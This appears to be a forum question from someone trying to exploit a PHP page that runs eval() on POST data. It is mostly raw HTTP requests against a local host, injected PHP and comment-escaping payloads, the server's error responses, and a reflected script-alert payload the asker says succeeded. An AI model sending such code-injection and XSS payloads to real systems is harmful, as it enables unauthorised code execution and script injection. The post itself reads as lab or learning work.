How to abuse eval() in PHP

Question

I'm trying to bypass a page that has an eval() and it works like this:

POST /anything.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8


parameter1=aaa&parameter2=asdfas!-->

<?php echo "<p>1234</p>");

?>

And the result in the response is:

Common, debugging: <!-- print the array method _POST: <pre>Array
(
    [parameter1] => aaa
    [parameter2] => asdfas!-->


<?php echo "<p>11</p>");
?>

)
</pre>-->

The result when I render page is:

Common, debugging: 11
");?>)-->

I have tried many things, such as trying to escape the single and double quotes but I have not been able to get the Bypass. I only get errors when the eval()d' error page is rendered.

For example, if I put in the request:

<?php echo 'a';

The response is:

<br />
<b>Parse error</b>:  syntax error, unexpected 'a' (T_STRING) in <b>/var/www/html/anything.php(10) : eval()'d code</b> on line <b>5</b><br />
 Common, debugging: <!-- print the array method _POST: <pre>Array
(
    [parameter1] => aaa
    [parameter2] => asdfas!-->


<?php echo 'a';

?>

)
</pre>-->

Could someone please point me in the direction of bypass? Thank you very much.

Edited:

From what I've noticed, every time I put a code like this:

<?php echo(1); ?>

I become the page like this:

<!--?php echo(1); ?-->

I have seen in the next part and it works for me to execute an alert in Javascript, but it doesn't work for me to do the Bypass for PHP:

Exploiting PHP via GET params

My request:

POST /anything.php HTTP/1.1
Host: 127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 126
Connection: close
Upgrade-Insecure-Requests: 1

parameter1=anything1&parameter2=anything2</pre>."!-->

<!--  --><script>alert('Success');</script><!--  -->

Response:

HTTP/1.1 200 OK
Date: Sun, 10 Jan 2020 23:26:34 GMT
Server: Apache/2.x.x
X-Powered-By: PHP/5.4
Content-Length: 406
Connection: close
Content-Type: text/html; charset=UTF-8

<br />
<b>Parse error</b>:  syntax error, unexpected 'Success' (T_STRING) in <b>/var/www/html/anything.php(13) : eval()'d code</b> on line <b>3</b><br />
Common, debugging: <!-- print the array method _POST: <pre>Array
(
    [parameter1] => anything1
    [parameter2] => anything2</pre>."!-->

<!--  --><script>alert('Success');</script><!--  -->

)
</pre>-->

And the alert is successfully executed.